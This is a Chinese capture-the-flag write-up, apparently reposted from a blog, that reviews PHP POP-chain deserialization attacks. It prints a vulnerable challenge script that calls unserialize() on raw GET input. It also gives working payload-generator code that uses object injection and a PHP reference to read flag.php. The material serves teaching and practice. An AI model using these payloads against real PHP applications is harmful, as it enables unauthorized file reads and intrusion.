pop链复习

2021-09-17 15:32:58 阅读：271 来源： 互联网

标签：__ 复习 pop echo file openstack public neutron

直接以一道题目来复习一下pop链吧

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

很明显的一个pop链，入口也很好找，只有把acp类当字符使用时，会调用里面的__toString()方法，这个方法会进入到$this->cinder里面指向的echo_name()方法，而class pkshow 和class ace都存在一个echo_name()，我们的目的就是要让他进入到class ace里面。

直接放payload

<?php
class acp
{
    public $neutron;
    public $nova;

    function __construct()
    {
        $this->nova = &$this->neutron;
    }
}
$a=new acp;
echo serialize($a);

<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;

    function __construct()
    {
        $this->filename = 'flag.php';
        $this->docker = 'O:3:"acp":2:{s:7:"neutron";N;s:4:"nova";R:2;}';
    }
}
$a=new acp();
echo urlencode(serialize($a));

大概解释一下，由于反序列后的类不会经过构造函数，所以他本来就不会经过__construct，只需要自己写一个payload让$this->cinder = new ace，由于docker会被反序列化，为了让满足

$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)

由于不知道$heat的值，所以直接用php的引用，让 $this->openstack->nova=&$this->openstack->neutron后序列化出来就可以了。当赋的值不为常量的时候，需要在构造函数里面赋值才可以，因为属性有protected，如果直接echo serialize($a)可能会有一些字符无法打印，所以最好urlencode一下。

标签：__,复习,pop,echo,file,openstack,public,neutron
来源： https://blog.csdn.net/m0_56059226/article/details/120348821

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

pop链复习